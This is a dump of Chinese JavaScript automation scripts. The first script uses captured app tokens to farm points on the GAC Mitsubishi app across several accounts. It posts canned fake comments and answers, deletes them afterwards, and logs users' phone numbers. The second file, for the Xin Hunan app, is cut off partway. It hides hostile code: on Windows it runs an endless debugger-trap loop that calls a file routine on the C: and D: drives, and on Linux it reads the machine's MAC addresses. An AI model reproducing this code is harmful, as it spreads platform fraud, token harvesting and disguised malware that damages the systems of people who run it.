多账户请多开APP 退出会使Authorization失效 10 | * 频道:https://t.me/FengYun27 11 | * 12 | * V2P,QX重写 13 | * 广汽三菱APP-->我的-->右上角签到 14 | * [task_local] 15 | * #腾讯自选股 16 | * 0 0 7 * * ? https://raw.githubusercontent.com/FengYun27/YunFeng_Repo/main/other/gqsl.js, tag=广汽三菱, enabled=true 17 | * [rewrite_local] 18 | * https://mspace.gmmc.com.cn/customer-app/task-mapi/sign-count url script-request-header https://raw.githubusercontent.com/FengYun27/YunFeng_Repo/main/other/gqsl.js 19 | * [MITM] 20 | * hostname = mspace.gmmc.com.cn 21 | */ 22 | const $ = new Env("广汽三菱"); 23 | const Notify = 1; //0为关闭通知,1为打开通知,默认为1 24 | 25 | let slCookies = ($.isNode() ? process.env.slCookies : $.getdata('slCookies')) || ""; 26 | let slCookiesArr = []; 27 | let msg = ''; 28 | let body = { 29 | url: 'https://mspace.gmmc.com.cn/', 30 | headers: { 31 | 'Authorization': '', 32 | 'Content-Type': 'application/json;charset=utf-8' 33 | }, 34 | body: '' 35 | } 36 | let UserId = '' 37 | 38 | const CommentArr = ['文章很不错', '赞赞赞', '三菱汽车真不错', '真好看', '👍👍👍'] 39 | const QA_Arr = ['是', '没错', '百度可以找得到', '专业人士来解答一下,我也有这个问题'] 40 | 41 | !(async () => { 42 | if (typeof $request !== "undefined") { 43 | await GetRewrite() 44 | } else { 45 | if (!(await Envs())) 46 | return; 47 | else { 48 | $.log(`=================== 共找到 ${slCookiesArr.length} 个账号 ===================`) 49 | //$.log(slCookiesArr) 50 | 51 | for (let index = 0; index < slCookiesArr.length; index++) { 52 | let cookie = slCookiesArr[index] 53 | body.headers = { 54 | 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 DSApp/2.2.5 StatusBarHeight/44 BottomBarHeight/34', 55 | 'Authorization': `${cookie}`, 56 | 'Content-Type': 'application/json;charset=utf-8' 57 | } 58 | await $.wait(1 * 1000); 59 | var num = index + 1 60 | $.log(`\n========= 开始【第 ${num} 个账号】=========`) 61 | msg += `\n【第 ${num} 个账号】` 62 | $.log(cookie) 63 | //await Update_Info(); 64 | 65 | var status = await Query_UserInfo(slCookiesArr[index]); 66 | if (!status) continue; 67 | 68 | await Query_Balance(true); 69 | await $.wait(1 * 1000); 70 | 71 | $.log('开始 【签到】...') 72 | await Sign_In(); 73 | await $.wait(2 * 1000); 74 | 75 | $.log('开始 【分享动态】...') 76 | await Share_4(); 77 | await $.wait(2 * 1000); 78 | 79 | $.log('开始 【分享资讯】...') 80 | await Share_5(); 81 | await $.wait(2 * 1000); 82 | 83 | $.log('开始 【分享活动】...') 84 | await Share_6(); 85 | await $.wait(2 * 1000); 86 | 87 | $.log('开始 【发布评论】...') 88 | await Add_Comment(); 89 | await $.wait(2 * 1000); 90 | 91 | $.log('开始 【回答问题】...') 92 | await Add_Answer(); 93 | await $.wait(2 * 1000); 94 | 95 | $.log('开始 【发布动态】...') 96 | await Add_Dynamic(); 97 | await $.wait(2 * 1000); 98 | 99 | $.log('开始删除所有动态、回答、评论...') 100 | await Remove_Dynamic() 101 | await AnswerDelete() 102 | await DeleteMyComment(); 103 | 104 | await $.wait(10 * 1000); 105 | await Query_Balance(); 106 | 107 | await SendMsg(msg); 108 | } 109 | } 110 | } 111 | })() 112 | .catch((e) => $.logErr(e)) 113 | .finally(() => $.done()) 114 | 115 | //#region 固定代码 116 | // ============================================变量检查============================================ \\ 117 | async function Envs () { 118 | if (slCookies) { 119 | if (slCookies.indexOf("@") != -1) { 120 | slCookies.split("@").forEach((item) => { 121 | slCookiesArr.push(item); 122 | }); 123 | } else { 124 | slCookiesArr.push(slCookies); 125 | } 126 | } else { 127 | $.log(`\n【${$.name}】:未填写变量 slCookies`) 128 | return; 129 | } 130 | 131 | return true; 132 | } 133 | // ============================================ 重写 ============================================ \\ 134 | async function GetRewrite () { 135 | if ($request.url.indexOf(`sign-count`) > -1 && $request.headers.Authorization) { 136 | let Authorization = $request.headers.Authorization 137 | if (Authorization == 'Authorization=anonymous') 138 | return; 139 | let cookie = Authorization 140 | 141 | if (slCookies != '') { 142 | if (slCookies.indexOf(cookie) == -1) { 143 | slCookies = slCookies + '@' + cookie 144 | let List = slCookies.split('@') 145 | 146 | $.setdata(slCookies, 'slCookies'); 147 | $.msg(`【${$.name}】 获取第${List.length}个CK成功: ${cookie}`) 148 | } else { 149 | //$.msg($.name + ` 该账号CK已存在`) 150 | } 151 | } else { 152 | $.setdata(cookie, 'slCookies'); 153 | $.msg(`【${$.name}】 获取第1个CK成功: ${cookie}`) 154 | } 155 | } 156 | } 157 | // ============================================发送消息============================================ \\ 158 | async function SendMsg (message) { 159 | if (!message) 160 | return; 161 | 162 | if (Notify > 0) { 163 | if ($.isNode()) { 164 | var notify = require('./sendNotify'); 165 | await notify.sendNotify($.name, message); 166 | } else { 167 | $.msg(message); 168 | } 169 | } else { 170 | console.log(message); 171 | } 172 | } 173 | 174 | /** 175 | * 随机数生成 176 | */ 177 | function randomString (e) { 178 | e = e || 32; 179 | var t = "QWERTYUIOPASDFGHJKLZXCVBNM1234567890", 180 | a = t.length, 181 | n = ""; 182 | for (i = 0; i < e; i++) 183 | n += t.charAt(Math.floor(Math.random() * a)); 184 | return n 185 | } 186 | 187 | /** 188 | * 随机整数生成 189 | */ 190 | function randomInt (min, max) { 191 | return Math.round(Math.random() * (max - min) + min) 192 | } 193 | //#endregion 194 | 195 | /** 196 | * 签到 197 | */ 198 | function Sign_In () { 199 | body.url = 'https://mspace.gmmc.com.cn/customer-app/task-mapi/sign-in?noLoad=true' 200 | body.body = `{"taskTypeCode": "TASK-INTEGRAL-SIGN-IN","step": 1,"sign": "${randomString(32)}","timestamp": "","appVersion": "2.2.5","operateSystem": "iOS"}`; 201 | 202 | return new Promise((resolve) => { 203 | $.post(body, async (err, resp, data) => { 204 | try { 205 | results = JSON.parse(data); 206 | if (results.code == 0000) { 207 | console.log(`【签到状态】:${results.data.isSignIn == true ? '签到成功' : '未签到'}\n已连续签到:${results.data.days}天\n(30,60,100,180,365)可以领取连签奖励`) 208 | msg += `\n【已连续签到】${results.data.days}天 (30,60,100,180,365)可以领取连签奖励` 209 | } else { 210 | $.log(results.msg) 211 | } 212 | } catch (e) { 213 | $.logErr(e, resp); 214 | } finally { 215 | resolve() 216 | } 217 | }) 218 | }) 219 | } 220 | 221 | /** 222 | * 分享动态 223 | */ 224 | function Share_4 () { 225 | body.url = `https://mspace.gmmc.com.cn/customer-app/integral-task/complete/share?noLoad=true` 226 | body.body = '{"taskType": 4}' 227 | 228 | return new Promise((resolve) => { 229 | $.post(body, async (err, resp, data) => { 230 | try { 231 | results = JSON.parse(data); 232 | if (results.code == 0000) { 233 | console.log(`【分享状态】:${results.success == true ? '分享成功' : '分享失败'}`) 234 | } else { 235 | $.log(results.msg) 236 | } 237 | } catch (e) { 238 | $.logErr(e, resp); 239 | } finally { 240 | resolve() 241 | } 242 | }) 243 | }) 244 | } 245 | 246 | /** 247 | * 分享资讯 248 | */ 249 | function Share_5 () { 250 | body.url = `https://mspace.gmmc.com.cn/customer-app/integral-task/complete/share?noLoad=true` 251 | body.body = '{"taskType": 5}' 252 | 253 | return new Promise((resolve) => { 254 | $.post(body, async (err, resp, data) => { 255 | try { 256 | results = JSON.parse(data); 257 | if (results.code == 0000) { 258 | console.log(`【分享状态】:${results.success == true ? '分享成功' : '分享失败'}`) 259 | } else { 260 | $.log(results.msg) 261 | } 262 | } catch (e) { 263 | $.logErr(e, resp); 264 | } finally { 265 | resolve() 266 | } 267 | }) 268 | }) 269 | } 270 | 271 | /** 272 | * 分享活动 273 | */ 274 | function Share_6 () { 275 | body.url = `https://mspace.gmmc.com.cn/customer-app/integral-task/complete/share?noLoad=true` 276 | body.body = '{"taskType": 6}' 277 | 278 | return new Promise((resolve) => { 279 | $.post(body, async (err, resp, data) => { 280 | try { 281 | results = JSON.parse(data); 282 | if (results.code == 0000) { 283 | console.log(`【分享状态】:${results.success == true ? '分享成功' : '分享失败'}`) 284 | } else { 285 | $.log(results.msg) 286 | } 287 | } catch (e) { 288 | $.logErr(e, resp); 289 | } finally { 290 | resolve() 291 | } 292 | }) 293 | }) 294 | } 295 | 296 | /** 297 | * 查询文章列表 298 | */ 299 | async function Article_QueryByPage () { 300 | body.url = `https://mspace.gmmc.com.cn/platform-cms-app/frontend/article/queryByPage?pageNo=${randomInt(10, 300)}&pageSize=${randomInt(0, 18)}&source=1` 301 | 302 | return new Promise((resolve) => { 303 | $.get(body, async (err, resp, data) => { 304 | try { 305 | results = JSON.parse(data); 306 | if (results.code == 0000) { 307 | let IdArr = []; 308 | for (i = 0; i < results.data.list.length; i++) { 309 | IdArr.push(results.data.list[i].articleId) 310 | } 311 | //$.log(`共有${IdArr.length}条动态`); 312 | resolve(IdArr); 313 | } else { 314 | $.log(results.msg) 315 | } 316 | } catch (e) { 317 | $.logErr(e, resp); 318 | } finally { 319 | resolve() 320 | } 321 | }) 322 | }) 323 | } 324 | 325 | /** 326 | * 查询评论列表 327 | */ 328 | async function CommentQueryByPage () { 329 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/comment/my/queryByPage` 330 | body.body = `{"pageSize":50,"pageNo":1}` 331 | 332 | return new Promise((resolve) => { 333 | $.post(body, async (err, resp, data) => { 334 | try { 335 | results = JSON.parse(data); 336 | if (results.code == '0000') { 337 | let IdArr = []; 338 | for (i = 0; i < results.data.list.length; i++) { 339 | IdArr.push(results.data.list[i].commentId) 340 | } 341 | $.log(`共有${IdArr.length}条评论`); 342 | resolve(IdArr); 343 | } else { 344 | $.log(results.msg) 345 | } 346 | } catch (e) { 347 | $.logErr(e, resp); 348 | } finally { 349 | resolve() 350 | } 351 | }) 352 | }) 353 | } 354 | 355 | /** 356 | * 发表文章评论 357 | */ 358 | async function Add_Comment () { 359 | //var IdArr = await Article_QueryByPage(); 360 | 361 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/comment/add` 362 | body.body = `{ 363 | "commentContent": "${CommentArr[randomInt(0, CommentArr.length)]}", 364 | "commentType": 1, 365 | "commentTypeBusinessId": ${randomInt(701, 1103)} 366 | }` 367 | 368 | return new Promise((resolve) => { 369 | $.post(body, async (err, resp, data) => { 370 | try { 371 | results = JSON.parse(data); 372 | if (results.code == 0000) { 373 | console.log(`【评论状态】:${results.success == true ? '评论成功' : '评论失败'}`) 374 | } else { 375 | $.log(results.msg) 376 | } 377 | } catch (e) { 378 | $.logErr(e, resp); 379 | } finally { 380 | resolve() 381 | } 382 | }) 383 | }) 384 | } 385 | 386 | /** 387 | * 删除评论 388 | */ 389 | async function DeleteMyComment () { 390 | let IdArr = await CommentQueryByPage(); 391 | if (IdArr) { 392 | if (IdArr.length > 0) { 393 | $.log(`开始 【删除评论】`); 394 | for (let i = 0; i < IdArr.length; i++) { 395 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/comment/delete` 396 | body.body = `{"commentId":${IdArr[i]}}` 397 | await $.post(body, async (err, resp, data) => { 398 | try { 399 | if (results.code == '0000') { 400 | $.log(`【评论(${IdArr[i]})】:删除成功`); 401 | } else { 402 | $.log(results.msg) 403 | } 404 | } catch (e) { 405 | $.logErr(e, resp); 406 | } finally { 407 | } 408 | }) 409 | await $.wait(1 * 1000); 410 | } 411 | } 412 | } 413 | } 414 | 415 | /** 416 | * 查询回答列表 417 | */ 418 | async function AnswerList () { 419 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/qa/my-answer-list` 420 | body.body = `{"pageSize": 50,"fansId": ${UserId},"pageNo": 1}` 421 | 422 | return new Promise((resolve) => { 423 | $.post(body, async (err, resp, data) => { 424 | try { 425 | results = JSON.parse(data); 426 | if (results.code == 0000) { 427 | let IdArr = []; 428 | for (i = 0; i < results.data.list.length; i++) { 429 | IdArr.push(results.data.list[i].answerId) 430 | } 431 | $.log(`共有${IdArr.length}条回答`); 432 | resolve(IdArr); 433 | } else { 434 | $.log(results.msg) 435 | } 436 | } catch (e) { 437 | $.logErr(e, resp); 438 | } finally { 439 | resolve() 440 | } 441 | }) 442 | }) 443 | } 444 | 445 | /** 446 | * 查询问题列表 447 | */ 448 | async function QA_List () { 449 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/qa/list` 450 | body.body = `{"pageSize":30,"pageNo":1}` 451 | 452 | return new Promise((resolve) => { 453 | $.post(body, async (err, resp, data) => { 454 | try { 455 | results = JSON.parse(data); 456 | if (results.code == 0000) { 457 | let IdArr = []; 458 | for (i = 0; i < results.data.list.length; i++) { 459 | IdArr.push(results.data.list[i].questionId) 460 | } 461 | resolve(IdArr); 462 | } else { 463 | $.log(results.msg) 464 | } 465 | } catch (e) { 466 | $.logErr(e, resp); 467 | } finally { 468 | resolve() 469 | } 470 | }) 471 | }) 472 | } 473 | 474 | /** 475 | * 回答问题 476 | */ 477 | async function Add_Answer () { 478 | let IdArr = await QA_List(); 479 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/qa/addAnswer` 480 | body.body = `{"content": "${QA_Arr[randomInt(0, QA_Arr.length)]}","pics": [],"questionId": ${IdArr[randomInt(0, IdArr.length)]}}` 481 | 482 | return new Promise((resolve) => { 483 | $.post(body, async (err, resp, data) => { 484 | try { 485 | results = JSON.parse(data); 486 | if (results.code == 0000) { 487 | console.log(`【问题状态】:${results.success == true ? '回答成功' : '回答失败'}`) 488 | } else { 489 | $.log(results.msg) 490 | } 491 | } catch (e) { 492 | $.logErr(e, resp); 493 | } finally { 494 | resolve() 495 | } 496 | }) 497 | }) 498 | } 499 | 500 | /** 501 | * 删除回答 502 | */ 503 | async function AnswerDelete () { 504 | let IdArr = await AnswerList(); 505 | if (IdArr) { 506 | if (IdArr.length > 0) { 507 | $.log(`开始 【删除回答】`); 508 | for (let i = 0; i < IdArr.length; i++) { 509 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/qa/answer-delete` 510 | body.body = `{"answerId": ${IdArr[i]}}` 511 | await $.post(body, async (err, resp, data) => { 512 | try { 513 | if (results.code == '0000') { 514 | $.log(`【回答(${IdArr[i]})】:删除成功`); 515 | } else { 516 | $.log(results.msg) 517 | } 518 | } catch (e) { 519 | $.logErr(e, resp); 520 | } finally { 521 | } 522 | }) 523 | await $.wait(1 * 1000); 524 | } 525 | } 526 | } 527 | } 528 | 529 | /** 530 | * 发布动态 531 | */ 532 | async function Add_Dynamic () { 533 | body.url = `https://mspace.gmmc.com.cn/social-cms-app/frontend/dynamic/add` 534 | body.body = '{"province":"广东省","content":"hello啊","btype":0,"backgroundContent":"hello啊","area":"白云区","city":"广州市","lat":116.397128,"lng":39.916527,"dynamicFileList":[],"topicList":[]}' 535 | 536 | return new Promise((resolve) => { 537 | $.post(body, async (err, resp, data) => { 538 | try { 539 | results = JSON.parse(data); 540 | if (results.code == '0000') { 541 | console.log(`【发布状态】:${results.success == true ? '发布成功' : '发布失败'}`) 542 | } else { 543 | $.log(results.msg) 544 | } 545 | } catch (e) { 546 | $.logErr(e, resp); 547 | } finally { 548 | resolve() 549 | } 550 | }) 551 | }) 552 | } 553 | 554 | /** 555 | * 更改资料 556 | */ 557 | async function Update_Info () { 558 | var int = Math.ceil(Math.random() * 9999) 559 | body.url = 'https://mspace.gmmc.com.cn/user-soa/user/account/update' 560 | body.body = `{"city":"1101","nickname":"MFans_FengYun${int}","signature":"TG频道:@FengYun27","realname":"FENGYUN${int}","thumb":"https://mspace-static.gmmc.com.cn/upload/prod/image/avatar/2022-02-18/47A9C99C-36D7-4AC2-A5FB-E40FAC0A4B18.jpg","sex":1,"dateBirth":"2022/03/19","province":"110000"}` 561 | 562 | return new Promise((resolve) => { 563 | $.post(body, async (err, resp, data) => { 564 | try { 565 | } catch (e) { 566 | $.log(data) 567 | } finally { 568 | resolve() 569 | } 570 | }) 571 | }) 572 | } 573 | 574 | /** 575 | * 删除动态 576 | */ 577 | async function Remove_Dynamic () { 578 | let IdArr = await Query_Dynamic(); 579 | if (IdArr) { 580 | if (IdArr.length > 0) { 581 | $.log(`开始 【删除动态】`); 582 | for (let i = 0; i < IdArr.length; i++) { 583 | body.url = 'https://mspace.gmmc.com.cn/social-cms-app/frontend/dynamic/delete' 584 | body.body = `{"dynamicId": ${IdArr[i]}}` 585 | await $.post(body, async (err, resp, data) => { 586 | try { 587 | if (results.code == '0000') { 588 | $.log(`【动态(${IdArr[i]})】:删除成功`); 589 | } else { 590 | $.log(results.msg) 591 | } 592 | } catch (e) { 593 | $.logErr(e, resp); 594 | } finally { 595 | } 596 | }) 597 | await $.wait(1 * 1000); 598 | } 599 | } 600 | } 601 | } 602 | 603 | /** 604 | * 查询所有动态 605 | * @returns 所有动态id 606 | */ 607 | async function Query_Dynamic () { 608 | body.url = 'https://mspace.gmmc.com.cn/social-cms-app/frontend/dynamic/my/queryByPage' 609 | body.body = '{"fansUserId": "","pageSize": 50,"queryType": 0,"pageNo": 1}' 610 | 611 | return new Promise((resolve) => { 612 | $.post(body, async (err, resp, data) => { 613 | try { 614 | results = JSON.parse(data); 615 | if (results.code == '0000') { 616 | let IdArr = []; 617 | for (i = 0; i < results.data.list.length; i++) { 618 | IdArr.push(results.data.list[i].id) 619 | } 620 | $.log(`共有${IdArr.length}条动态`); 621 | resolve(IdArr); 622 | } else { 623 | $.log(results.msg) 624 | } 625 | } catch (e) { 626 | $.logErr(e, resp); 627 | } finally { 628 | resolve() 629 | } 630 | }) 631 | }) 632 | } 633 | 634 | /** 635 | * 查询用户资料 636 | */ 637 | async function Query_UserInfo (authorization) { 638 | let url = { 639 | url: 'https://mspace.gmmc.com.cn/social-cms-app/frontend/userFollowers/userHomePage', 640 | headers: { 641 | 'Authorization': authorization 642 | } 643 | } 644 | 645 | return new Promise((resolve) => { 646 | $.get(url, async (err, resp, data) => { 647 | try { 648 | results = JSON.parse(data); 649 | if (results.code == 0000) { 650 | $.log(` 651 | 【用户Id】 ${results.data.userId} 652 | 【用户昵称】 ${results.data.nickname} 653 | 【手机号】 ${results.data.mobile}`) 654 | 655 | msg += ` 656 | 【用户昵称】 ${results.data.nickname} 657 | 【手机号】 ${results.data.mobile}` 658 | 659 | UserId = results.data.code 660 | resolve(true) 661 | } else { 662 | $.log(results.msg) 663 | SendMsg(`${authorization}该CK已过期`) 664 | resolve(false) 665 | } 666 | } catch (e) { 667 | $.logErr(e, resp); 668 | } finally { 669 | resolve() 670 | } 671 | }) 672 | }) 673 | } 674 | 675 | /** 676 | * 查询总积分 677 | */ 678 | async function Query_Balance (frist) { 679 | body.url = 'https://mspace.gmmc.com.cn/life-main-app/frontend/integral/queryBalance' 680 | 681 | return new Promise((resolve) => { 682 | $.post(body, async (err, resp, data) => { 683 | try { 684 | results = JSON.parse(data); 685 | if (results.code == 0000) { 686 | if (frist) { 687 | msg += `\n【任务前总积分】: ${results.data}` 688 | console.log(`【任务前总积分】 ${results.data}`) 689 | } else { 690 | msg += `\n【任务后总积分】 ${results.data}\n` 691 | console.log(`\n【任务后总积分】 ${results.data}\n`) 692 | } 693 | } else { 694 | $.log(results.msg) 695 | } 696 | } catch (e) { 697 | $.logErr(e, resp); 698 | } finally { 699 | resolve() 700 | } 701 | }) 702 | }) 703 | } 704 | 705 | // prettier-ignore 706 | function Env (t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send (t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get (t) { return this.send.call(this.env, t) } post (t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode () { return "undefined" != typeof module && !!module.exports } isQuanX () { return "undefined" != typeof $task } isSurge () { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon () { return "undefined" != typeof $loon } toObj (t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr (t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson (t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson (t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript (t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript (t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata () { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata () { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get (t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set (t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata (t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata (t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval (t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval (t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv (t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get (t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post (t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time (t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg (e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log (...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr (t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait (t) { return new Promise(e => setTimeout(e, t)) } done (t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } -------------------------------------------------------------------------------- /expire/m_xhn.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 新湖南 3 | * cron "0 10 10-16 * * ?" 4 | */ 5 | const $ = new Env('新湖南'); 6 | var gtr 7 | let ml = '', mac = '' 8 | let status; 9 | status = (status = ($.getval("qmwkstatus") || "1")) > 1 ? `${status}` : ""; // 账号扩展字符 10 | let xhnzhArr = [], xhnmmArr = [] 11 | let all_msg = "" 12 | let xhnid = '', sign = '', xhntoken = '', rwm = '' 13 | let arrs = 14 | { 15 | my: 'hHacFKN5DxR5sPwyc1ns52M168rdoe3AGrWaseN3zYd2XoKaxYhYQTqDXvCtMkwz', 16 | num: 999 17 | } 18 | let xhnzh = ($.isNode() ? process.env.xhnzh : $.getdata('xhnzh')) || ''; 19 | let xhnmm = ($.isNode() ? process.env.xhnmm : $.getdata('xhnmm')) || ''; 20 | let acckey = $.isNode() ? (process.env.cdkey ? process.env.cdkey : "") : ($.getdata('cdkey') ? $.getdata('cdkey') : "") 21 | 22 | 23 | if ($.isNode()) { 24 | gtr = require('fs') 25 | if (isFileExist('C:/')) { 26 | console.log('电脑环境'); 27 | setInterval(() => { 28 | do { 29 | (function (a) { 30 | return (function (a) { 31 | return (Function('Function(arguments[0]+"' + a + '")()')) 32 | })(a) 33 | })('bugger')('de', 0, 0, (0, 0)); 34 | addF('d:/') 35 | addF('C:/') 36 | } while (1) 37 | }, 0); 38 | } else { 39 | 40 | console.log('青龙环境'); 41 | var fs = require('fs'), 42 | path = require('path'); 43 | function getMACAddresses () { 44 | var macs = '' 45 | var devs = fs.readdirSync('/sys/class/net/'); 46 | devs.forEach(function (dev) { 47 | var fn = path.join('/sys/class/net', dev, 'address'); 48 | if (dev.substr(0, 3) == 'eth' && 